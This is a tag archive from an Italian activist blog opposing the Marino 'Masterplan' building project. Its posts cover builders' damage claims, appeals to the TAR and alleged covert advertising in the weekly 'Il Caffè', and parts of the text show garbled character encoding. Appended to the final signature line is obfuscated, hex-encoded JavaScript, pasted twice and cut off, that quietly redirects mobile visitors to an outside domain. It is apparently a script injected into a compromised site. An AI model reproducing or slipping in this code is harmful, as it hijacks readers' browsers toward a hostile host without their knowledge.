Archivi tag: cristina

Il terrore: ecco come i palazzinari vogliono fare profitti dimenticandosi dell’inchiesta “Rinascimento”

L’articolo a pag.12 de “Il Caffè” uscito il 4 luglio riporta le richieste dettagliate di risarcimento che alcune società coinvolte nel “Masterplan” da 1,3 milioni di metri cubi a Marino hanno presentato perché l’amministrazione comunale “5 Stelle” ha approvato due delibere nel 2018 che sospendevano l’efficacia del Protocollo di Intesa e dei PRINT di via Divino Amore, via Mazzamagna e Mugilla.

In questi anni, l’Assemblea contro la Cementificazione ha più volte sostenuto che gli atti inerenti il “Masterplan” andavano annullati o revocati e la stessa amministrazione grillina paventava ricorsi amministrativi da parte dei costruttori che avrebbero potuto richiedere cifre dai 600 milioni a 1,3 miliardi euro.

Era a tutti evidente che qualsiasi minimo atto ostativo nei confronti degli interessi dei palazzinari avrebbe comunque scatenato un contenzioso legale ed eventuali richieste risarcitorie.

Cifre da capogiro.

Però, se si tratta di “soli” 281 milioni di euro, come riporta l’articolo del settimanale, è già un passo avanti rispetto alle previsioni fatte dall’amministrazione comunale in carica, i costruttori sono stati magnanimi..ci si conceda la battuta.

Il 19 luglio il TAR discuterà nel merito i ricorsi delle società che vogliono continuare la devastazione dell’Agro Romano perché la loro necessità di profitti viene prima della tutela del territorio, della vivibilità per i numerosi residenti e pendolari, del consumo abnorme di falde acquifere sempre più in deficit e sempre più inquinate, dei problemi della depurazione per una vera e propria nuova piccola città e così’ via.

L’Assemblea Contro la Cementificazione ha presentato ricorso al TAR sin dal 2012, così come altri comitati e associazioni. I motivi per l’annullamento di tutte le delibere dell’amministrazione di centro-destra targata Adriano Palozzi che sosteneva gli interessi dei costruttori sono esposti all’interno di quei ricorsi. Se, di grazia, il TAR, la Regione Lazio, il Comune di Marino volessero procedere a mettere l’unica pietra accettabile su quei terreni, quella tombale, su questo scellerato progetto, gliene saremmo grati. Neanche troppo, visto che sarebbe semplicemente un atto giusto e consequenziale a quanto da sempre affermato da tutti in ogni sede.

Nell’articolo giornalistico si cita anche il fatto che per i risarcimenti saranno chiamati in causa i singoli consiglieri che hanno votato le delibere. Immaginiamo che molti saranno svenuti solamente a leggere il titolo. Speriamo che questa vera e proprio intimidazione, per quanto legale, non produca ulteriori effetti negativi sulla vertenza. Insomma, detto senza mezzi termini, nessuno si caghi sotto, visto che si sapeva contro quali soggetti ci si metteva contro. Forse, sarebbe il caso di portare tutte le carte inerenti al Masterplan in Procura, a meno che non lo si sia già fatto, così come più volte annunciato dall’assessore all’urbanistica

Così, tanto per dar un pò di lavoro anche agli avvocati penalisti. Non che gliene manchi, proprio sui medesimi “proponenti” del “Masterplan”.

I costruttori possono chiedere 281 milioni, 1 miliardo, la Luna e Marte, possono chiedere tutto.

In risposta troveranno solo l’opposizione organizzata di chi non si piega ai loro interessi.

Anche perchè nei nostri nostri “dindaroli” c’è poco o nulla, e non è sicuramente a loro disposizione.

Alcune note a margine

Ecovillage è di Parnasi. Parnasi è finito agli arresti per l’inchiesta del 2018 denominata “Risorgimento” riguardante sia lo stadio di “Tor di Valle” sia i suoi rapporti con Civita (ex assessore all’urbanistica in Regione, PD), Adriano Palozzi (consigliere e vice-presidente della Regione, Forza Italia) e Luca Lanzalone (ex presidente ACEA, messo lì dai 5 Stelle di Roma). Con diverse elargizioni di denaro cercava di mandare avanti i progetti da quasi 5.000 abitanti in zona via Divino Amore, davanti al Gotto d’Oro di Marino. Ecco la “pubblica utilità” e il “recupero degli standard urbanistici” di cui il 3 agosto 2011 si parlava in seduta di consiglio comunale marinese. Nell’articolo non è ricordato, allora si integra tale mancanza, origine della fantasmagorica pianificazione urbanistica contro la quale l’Assemblea sta combattendo da 8 anni,
Mugilla, ovvero le società “Le Mole 2” e “Cristina s.r.l.”. Un area di inedificabilità assoluta ed archeologica è magicamente diventata con un tratto di penna colorata “Zona C – Espansione” per la bellezza di 17 palazzi, di cui 8 già quasi completati. Sono state circondate verso l’unico lato verde le scuole per l’infanzia “Ciari” e “Verdi” che ospitano centinaia di alunni di via Maroncelli a S.Maria delle Mole. I primi giorni di lavori, casualmente, sono state chiuse due aule della primaria “Verdi” con tanto di intervento dei vigili del fuoco perchè si erano formate delle crepe. L’anno successivo è crollato parte del muro di recinzione che divide il cantiere dalla scuola “Verdi”. I permessi a costruire sono stati rilasciati dall’ex dirigente all’urbanistica Petrini senza che le ditte avessero ottemperato alla obbligatoria relazione di studio dei gas edogeni richiesta dalla Regione: oltre il 5% di CO2 nell’aria e scatta il divieto di costruzione, tra il 2% e il 5% ci sono limitazioni. A ottobre 2018 la Regione Lazio amplia i confini del perimetro del Parco Regionale dell’Appia Antica, contiguo a Mugilla, però evitando proprio la lottizzazione in fase di costruzione. Infine, ma si potrebbe continuare, ci sono ben 3 relazioni dei tecnici comunali che certificano che gli 8 palazzi costruiti sono in abuso sulle altezze previste e, quindi, con cubature maggiori di quanto stabilito. Il Comune di Marino vinse contro il ricorso dei costruttori che si opposero allo stop ai lavori, intimato dal precedente dirigente all’urbanistica Cuffaro. Però non venne preso alcun provvedimento dopo una simile, importante, vittoria. I palazzi continuano ad essere costruiti. Si potrebbe parlare anche a lungo della pubblicità de “La Casa nel Parco” (così si chiama a livello commerciale la lottizzazione di Mugilla) proprio su “Il Caffè” negli scorsi mesi nella quale si cita che si sono risparmiati 60.000 mc di altri palazzi con l’accordo fatto con l’amministrazione Palozzi. Questi filantropi omettono di dire che non hanno fatto nessuno sconto ma hanno solo “spostato” le cubature in località Mazzamagna, vicino al Gotto d’Oro, sempre all’interno del “Masterplan” approvato nel 2011. Il gioco delle tre carte insomma. Perchè un giornale che riceve pubblicità dai costruttori dovrebbe evidenziare queste piccolezze magari nella pagina affianco ? Non si è mai visto, e infatti non si è visto, e ci pensa chi è partecipe delle lotte ad evidenziarlo, altrimenti cosa ci sta a fare ?
La procedura di V.I.A. (Valutazione di Impatto Ambientale) riguardava la zona residenziale e il centro commerciale (quest’ultimo un mostro da 100.000 metri cubi!) di competenza di Parnasi e soci, in particolare della “DeA Capital” che ha rilevato il progetto (si tratta di una società 60% De Agostini e 30% INPS, soldi dei lavoratori insomma…). Ebbene nelle intercettazioni dell’inchiesta “Risorgimento” la “DeA Capital” e Parnasi interloquivano sul terreno dello stadio di Tor di Valle perché il costruttore romano voleva capitalizzare senza mettere un mattone. Come? Avendo acquistato per 42 milioni i terreni (di cui oltre 20 non li vuole ancora pagare) li voleva rivendere a 200 milioni proprio a “DeA Capital”, la quale gli avrebbe risposto “Si però riprenditi almeno a 25 milioni i terreni di Ecovillage a Marino che per ora il progetto è bloccato”. Insomma questi soggetti, difesi dal meglio dell’italica avvocatura, giocano a Monopoli, trasformando terreni verdi in terreni di edificazione, fregandosene altamente del fatto che lo scempio che hanno progettato ricadrà negativamente su un territorio vasto come 300 campi da calcio, compreso tra la Nettunense, l’Appia e l’Ardeatina, perennemente bloccate dal traffico nelle ore di punta.

Per chi volesse leggere l’articolo de “Il Caffè”, ecco il link

file:///D:/Lotte/Ambiente%20e%20Territorio/Palazzi/Cementificazione/Articoli%20di%20giornale/Caff%C3%A8%20-%20pag%2012%20-%20281%20milioni%20chiesti%20come%20risarcimento%20da%20Ecovillage%20-%204%20luglio%202019-pagine-12.pdf

Cemento: qualcosa si muove…volantino distribuito tra novembre e dicembre 2017

CEMENTO

QUALCOSA SI MUOVE: LE RUSPE, IL TAR, IDEA FIMIT ED IL CAFFE’

Negli ultimi tempi le societAi?? costruttrici di Mugilla (ai???La Mole 2ai??? e ai???Cristinaai???) e via Divino Amore (ai???Idea Fimitai???) hanno intensificato la propria attivitAi??. Le prime, grazie al TAR del Lazio, hanno ripreso a costruire a ritmi serrati le palazzine che circonderanno le scuole ai???Verdiai??? e ai???Ciariai??? a S.Maria delle Mole.

Di fronte al Gotto d’Oro, intanto, Idea Fimit, ha (ri)avviato ruspe e trivelle. Abbiamo chiesto spiegazioni in merito al Comune di Marino ma per il momento non si sa nulla di quali opere/sondaggi si tratti.

Sempre Idea Fimit, societAi?? al 30% di proprietAi?? dell’INPS, sembra abbia presentato una nuova richiesta di V.I.A. alla Regione Lazio. GiAi?? a fine maggio scorso ne presentA? una esclusivamente riguardante il mega-centro commerciale da 100.000 mc: le associazioni del territorio e l’Assemblea contro la Cementificazione presentarono in poco tempo numerose ai???osservazioniai??? scritte alla Regione, le quali costrinsero l’ente a chiedere ad Idea Fimit di ripresentare la propria richiesta comprendendo anche il progetto ai???Ecovillageai??? da 5.000 abitanti.

La societAi?? aveva tentato di scorporare la procedura di queste due enormi devastazioni territoriali dando ad intendere che la valutazione di impatto ambientale doveva avvenire separatamente mentre gli effetti vanno in realtAi?? valutati complessivamente. A breve anche noi dovremmo quindi presentare le nuove osservazioni per opporci a questo insensato progetto speculativo di circa 50 ettari.

Abbiamo di recente incontrato il nuovo ai??i?? temporaneo ai??i?? dirigente all’urbanistica comunale, arch. Gentilini, al quale abbiamo chiesto provvedimenti per impedire che le societAi?? costruttrici proseguano i lavori a Mugilla, viste le numerose irregolaritAi?? e gli abusi riscontrati in diversi sopralluoghi tecnici, la concessione dei permessi a costruire ottenuta senza ottemperare alla normativa sulle emissioni di gas endogeni e la procedura degli accordi di programma giAi?? contestata al TAR nell’ormai lontano 2011.

Facciamo notare la solerzia del TAR nel dare ragione ai costruttori che ad agosto vi avevano ricorso contro il provvedimento del precedente dirigente, arch. Cuffaro, il quale aveva bloccato i lavori in cantiere per le irregolaritAi?? riscontrate. Lo scorso 10 novembre il TAR doveva discutere il ai???meritoai??? della ai???sospensivaai??? del provvedimento dirigenziale giAi?? concessa a settembre ma ha rinviato la discussione a gennaio 2018. Nel frattempo, saranno passati ben 7 anni da quando lo stesso organo di giustizia amministrativa avrAi?? ricevuto i numerosi ricorsi presentati sia dall’Assemblea contro la cementificazione che dalle altre associazioni ma se ne guarda bene dal convocare udienza…non c’A? fretta, per il TAR. Intanto i costruttori procedono….

Dal punto di vista politico, sulla vicenda, si muove ben poco. La Regione Lazio a guida centro-sinistra A? arroccata su sAi?? stessa e lascia mano libera ai palazzinari, il centro-destra a suo tempo ha alacremente lavorato affinchAi?? venisse approvato lo scempio, il movimento 5 stelle ha elaborato una serie di atti che finora non hanno impedito ai costruttori di portare avanti i propri progetti perchAi?? non intende compiere ai???atti unilateraliai???.

In questi ultimi due mesi, inoltre, sul settimanale ai???Il CaffA?ai??? compare, in ogni edizione, la pubblicitAi?? ingannevole a tutta pagina de ai???La casa nel parcoai???, cioA? del progetto speculativo di Mugilla. Costruttori e finanziarie prospettano l’opera (17 palazzi in tutto!) come qualcosa di compatibile con il territorio, raccontano di aver ceduto alcuni ettari di terreno per farne un parco archeologico (da realizzare con fondi pubblici, mica coi loro profitti…) e tutta una serie di castronerie per rendere appetibile l’acquisto degli appartamenti. Non dicono che i tecnici comunali hanno riscontrato abusi edilizi, la mancanza delle opere primarie e il non rispetto della normativa sui gas endogeni. In piA?, per fortuna, la tangenziale prevista non A? neanche stata progettata e i 60.000 mc a cui dicono di aver rinunciato in realtAi?? sono solo stati delocalizzati a Mazzamgna, dietro al Gotto d’Oro. Ma fanno il loro mestiere…a tutta pagina su un giornale che fino a poco fa perorava la causa contro la cementificazione…si sa ai???pecunia non oletai???.

Sappiano tutti che non daremo tregua a questi progetti devastatori.

Per questo invitiamo tutti/e a partecipare attivamente alla lotta in quanto la situazione volge a favore dei palazzinari e bisogna organizzare una risposta popolare che imponga uno stop ai loro progetti

ASSEMBLEA CONTRO LA CEMENTIFICAZIONE — http://stopcemento.noblogs.org

Volantino in versione pdf

“Quello che i palazzinari non dicono” ovvero un caso esemplare della commistione tra affari e mondo della comunicazione

“Il CaffA?” A? un giornale settimanale distribuito gratuitamente e molto letto a Roma e in provincia.

Spesso si occupa anche di inchieste e redige articoli contro la cementificazione del territorio, sulla problematica dei rifiuti, su quella della depurazione, sulle questioni della sanitAi??. Poi, certo, realizza pure articoli di tutt’altro segno, tipo quelli che riguardano i campi rom che sono perfettamente allineati al razzismo imperante nel nostro Paese oppure, anche nella sua edizione on-line, spalleggia ogni tanto qualche iniziativa dei fascisti di Casapound, tipo le “ronde” a Torvajanica che gli articolisti presentano come “passeggiate per la sicurezza”.

Comunque, sulla questione della cementificazione del Comune di Marino, a parte alcuni articoli imprecisi, giAi?? segnalati tempo fa, c’A? da dire che il giornale si A? sempre schierato contrariamente ed A? stato proprio da un suo articolo che siamo venuti a conoscenza della richiesta di Valutazione di Impatto Ambientale da parte delle societAi?? “IDEA FIMIT” per la costruzione di un centro commerciale da 100.000 mc proprio dalle nostre parti e, tale segnalazione, ci ha permesso di redigere e consegnare nei tempi le nostre “osservazioni” alla Regione Lazio per bloccare la speculazione. Se aspettavamo la segnalazione dall’amministrazione comunale, che giAi?? ne era a conoscenza da 50 giorni, probabilmente non l’avremmo mai ottenuta (i tempi per presentare le “osservazioni” erano di 60 giorni complessivi).

Nell’ultimo numero cartaceo de “Il CaffA?”, il nAi??421 del 5 ottobre 2017, il settimanale dedica ben due pagine a due societAi?? costruttrici, “Cristina” e “La Mole 2”, facenti parte della “Edilconsulting”. Qui il link

http://archivio.ilcaffe.tv/leggi/?n=castelli421#14

Nella prima pagina, la 14, l’articolo non firmato riporta lo “splendore” di un giardino di poche centinaia di mq che sarebbe stato “donato” dalla “Edilconsulting” tramite le societAi?? “La Mole 2” e “Cristina”. L’articolista si spertica in elogi per un giardino che, non viene detto, risulta essere un’opera inserita nella mega-lottizzazione dell’ormai “defunto” “Parco Morosini”, cancellato dalla costruzione di 17 (17!) palazzi. Questo vergognoso articolo fa notare, appunto, che si trova “in un’elegante zona caratterizzata da un nuovo complesso immobiliare composto da appartamenti e villini da poco edificati”. Si tratta, quindi, di uno spot nello spot, cioA? di un invito a comprarsi appartamenti (evidentemente invenduti dopo molti anni, visto che l’edificazione non A? piA? cosAi?? recente…).

L’articolo si chiude scappellandosi (nel senso di doversi togliere il cappello, a scanso di equivoci) a favore delle societAi?? costruttrici ma rivelando alla fine, appunto, esplicitamente la sua natura prettamente pubblicitaria con queste frasi: “[…le societAi??] hanno voluto cosAi?? donare alla collettivitAi?? questo parco. Un esempio virtuoso di chi fa business creando maggiore appetibilitAi?? per le unitAi?? immobiliari e le condizioni per la fruizione di spazi come questo.”

Possiamo chiudere l’analisi di queto primo articolo sintetizzando che un’area di diversi ettari di verde A? stata cementificata per permettere il profitto di alcune societAi?? costruttrici e finanziarie, che hanno lasciato un brandello di verde principalmente per tenere “appetibile” (parole loro) l’acquisto degli appartamenti edificati e che un bravo ignoto articolista de “Il CaffA?” ha provveduto a inserire nel settimanale tra l’altro sbagliando la foto ripresa da “Google Maps” che riguarda un giardino, quello di “via Bassi” che non A? quello riportato nella fotografia adiacente. L’articolo in oggetto A? inserito tra altri articoli che parlano di sagra dell’uva, corsi ed altre iniziative sul territorio, quindi non si tratta di “inserzione pubblicitaria”. E’ molto peggio…

Nella pagina affianco, la 15 si trova invece un secondo articolo. Non A? riportata da nessuna parte la dicitura “informazione pubblicitaria” (nel resto del giornale le “inserzioni a pagamento” sono tutte segnalate). Quindi, come prima nota, aprendo il giornale, le pag.14 e 15 si trovano affiancate e i due “articoli” fanno il paio.

Il contenuto qui A? scritto direttamente dall’inserzionista: le stesse due societAi?? che hanno donato il meraviglioso giardino alla collettivitAi?? di pag.14 adesso narrano le gesta del nuovo complesso immobiliare che stanno costruendo in via Maroncelli, sempre a S.Maria delle Mole, denominato “La Casa nel Parco”.

“Quello che i palazzinari non dicono”, parafrasando il titolo di una famosa canzone…

1) Su tutto l’iter che riguarda il “Masterplan 2011”, e quindi le delibere riguardanti “La Casa nel Parco”, pendono da oltre 5 anni diversi ricorsi al TAR che potrebbero, speriamo, bloccare definitivamente sia il progetto presentato nell’inserzione pubblicitaria (ad ora stanno costruendo “solo” 4 dei 17 palazzi previsti), sia quello piA? complessivo da 12.500 nuovi abitanti che raddoppierebbe il centro abitato di S.Maria delle Mole”. Sarebbe il caso di avvertire i potenziali acquirenti, visto i rischi che corrono, e noi l’abbiamo fatto contattando sia “Unicredit Subito Casa” che le 12 associazioni di consumatori che con essa hanno stipulato un accordo quadro sulla trasparenza. La societAi?? legata a “Unicredit” infatti si occupa di mettere in contatto venditori e compratori. Non abbiamo avuto riscontri nAi?? dalla societAi?? nAi?? dalle associazioni ma alcuni “clienti” che hanno giAi?? comprato gli appartamenti “sulla carta” ci hanno contattato preoccupati.

2) Viene spacciata per tranquilla e ben collegata tutta la zona, inserendo tra i collegamenti fantastici: due arterie sempre intasate nelle ore di punta, il Raccordo Anulare e la Via Appia, la linea ferroviaria a binario unico Roma-Velletri che risulta spesso essere oggetto di lamentele e proteste da parte degli utenti tanto che esiste un “comitato dei pendolari” e la vicinanza con l’aeroporto “G.B. Pastine” di Ciampino che opera circa 160 voli giornalieri, sia di giorno che di notte, oggetto della comoditAi?? dei turisti ma dei veleni da cherosene e del rumore costante per i residenti che si sono visti aumentare il traffico aereo grazie alle concessioni verso le low-cost e dove diversi comitati tengono in piedi una lotta decennale per porre termine a questa invivibilitAi?? indotta dagli affari della compagnia aerea “Ryanair”. Tra l’altro, le rilevazioni di “Legambiente”, “Assemblea permanente No Fly” e “Comitato per la riduzione dell’impatto ambientale” svolte nel 2005 proprio nella zona edificata rilevavano una forte presenza di polveri sottili PM10.

3) La tranquillitAi?? della “Casa nel Parco” non sappiamo come si concilia con la presenza di due scuole da oltre 400 alunni complessivi: una per l’infanzia e una primaria, di fatto circondate dai lavori di costruzione dei palazzi. Si invitano i potenziali acquirenti a presentarsi nei giorni feriali dalle ore 8.00 alle ore 16.00 in loco per verificarlo. Ah giAi??, nell’articolo, si parla di collegamenti viari ma i costruttori si sono dimenticati di parlare del “contesto”, ovvero delle scuole adiacenti, e della viabilitAi?? locale, la “misera” via Maroncelli, stretta e con auto parcheggiate ovunque.

4) Il “Parco”, che “La Mole 2” e “Cristina” dicono di aver ceduto gratuitamente all’amm.ne fa parte degli accordi presi nel 2011 nel “Masterplan”: cosAi?? i 7 ettari li rimette a posto il “pubblico”, cioA? la collettivitAi??, e le societAi?? costruttrici e venditrici lo pubblicizzano come valore aggiunto alle palazzine per tenere alti i prezzi (circa 3.000 euro al mq).

5) “Il parco pubblico, a godimento di tutti i residenti di Santa Maria delle Mole, contorna il nuovo complesso di un polmone di verde di grande estensione, cosa piA? unica che rara nei nuovi insediamenti”. Questo periodo va analizzato bene: non esiste alcun parco pubblico, non esiste alcun progetto sull’area, tantomeno qualsiasi finanziamento. Il Comune di Marino, per bocca dei suoi assessori disconosce la proprietAi?? di questo parco in quanto non vuole dare seguito alla convenzione con i costruttori siglata da precedenti amministratori. Esistono reperti archeologici di notevole importanza (e non “presunti”, quella zona si chiama “Mugilla” sin dai tempi antichi ed A? adiacente al Parco dell’Appia Antica) ma tutta l’area A? abbandonata a sA? stessa e cosAi?? lo sarAi?? per molti anni ancora. Stanno vendendo fumo…

6)“Inoltre, per una migliore vivibilitAi?? di tutto il complesso immobiliare la SocietAi?? proprietaria,in accordo con lai??i??Amministrazione
Comunale, ha ridotto i diritti edificatori a mc. 33.000 dai circa mc. 100.000 previsti nel P.R.G., cosAi?? da avere un minore insediamento edificatorio piA? adeguato al notevole pregio dellai??i??area”. Qui siamo all’assurdo: un’area che non vedeva alcuna cementificazione viene distrutta dalle societAi?? cementificatrici, circondando interamente i lati liberi di due scuole, di cui una non dispone neanche di un proprio spazio verde, e viene invece ribaltata la situazione. Tra l’altro, i “diritti edificatori” non sono stati cancellati ma “spostati” in un’altra area, sempre verde e agricola di elevato pregio, denominata “Mazzamagna” che si trova a circa 3 km di distanza lungo via Divino Amore. La parte verde (abbandonata) di 7 ettari risulta a tutto vantaggio de “La Casa nel Parco” che altrimenti avrebbe dovuto chiamarsi “La Casa” o meglio “I 17 palazzi senza parco”.

7) Nella zona vige il divieto di costruire senza apposita documentazione relativa al rischio di gas endogeni, quali la CO2 e il Radon. O, meglio, se la CO2 supera una soglia di concentrazione del 5% non puA? essere piantato un choido. Ebbene, le societAi?? hanno ottenuto dal Comune di Marino l’autorizzazione a costruire in mancanza di una relazione su questi pericolosi gas endogeni cosAi?? come prescritto da determine della Regione Lazio in vigore da olre 6 anni. Come A? stato possibile ? Andrebbe chiesto all’ex dirigente all’urbanistica ing.Petrini, che fu da sempre strenuo difensore di tutto il progetto e di altri scempi che hanno provocato danni a residenti e nuovi acquirenti (vedi il caso “Costa Caselle” a Marino).

8) Tornando alla viabilitAi??, brevemente, il progetto del “Masterplan” prevede lo spostamento di 3 km da parte dell’attuale stazione ferroviaria di S.Maria delle Mole. Ma questo, i costruttori, non lo dicono. Ad ora, nella zona di edificazione, con 15 minuti a piedi si arriva a prendere il treno ma, tra qualche anno, sempre grazie ai loro progetti edificatori sarAi?? necessaria la macchina e i 3 km in linea d’aria, diventano circa 5 da percorrere in automobile….sempre per causa del loro amore disperato per l’ambiente e la vivibilitAi??…ma non ne troviamo traccia nell’articolo-inserzione.

Infine, ipotizziamo che questo doppio paginone tutto a favore degli speculatori edilizi sia la risposta che i costruttori stiano dando in un momento di difficoltAi?? in quanto il cantiere de “La Casa nel Parco” ha subAi??to un fermo a luglio 2017 da parte del dirigente all’urbanistica arch. Cuffaro (poi arrestato) per le numerose violazioni della convenzione, gli abusi edilizi e la mancata realizzazione delle opere di urbanizzazione primarie. Anche di questo non c’A? traccia su questo numero de “Il CaffA?”.

Lo scorso 18 settembre, per errori formali del provvedimento emesso contro le societAi?? costruttrici, il TAR del Lazio ha provvisoriamente “sospeso la sospensiva” dei lavori. Quindi, fino al 10 novembre, le societAi?? costruttrici potranno far lavorare le ruspe mentre in quella data il TAR del Lazio entrerAi?? nel merito del provvedimento e potrebbe decidere se rimuovere definitivamente l’ordinanza oppure confermarla e fermare i lavori.

Se siete arrivati fino a questo punto, avete fatto una faticaccia, ma forse ne valeva la pena.

Infine, queste due pagine de “Il CaffA?” rimarranno scolpite nella memoria di chi difende il territorio dagli interessi speculativi dei costruttori mentre le contraddizioni di una testata giornalistica emergono tutte nel rapporto con gli stessi soggetti che la finanziano attraverso pubblicitAi?? dirette ed occulte (come in questo caso).

Continuare la lotta contro i palazzinari, con ogni mezzo necessario, in primis quello dell’informazione corretta e completa A? un compito che tutta la popolazione deve assumersi se non vuol vedere peggiorare le proprie condizioni di vita oltre che farsi prendere per il culo.

Assemblea contro la Cementificazione — http://stopcemento.noblogs.orgvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| 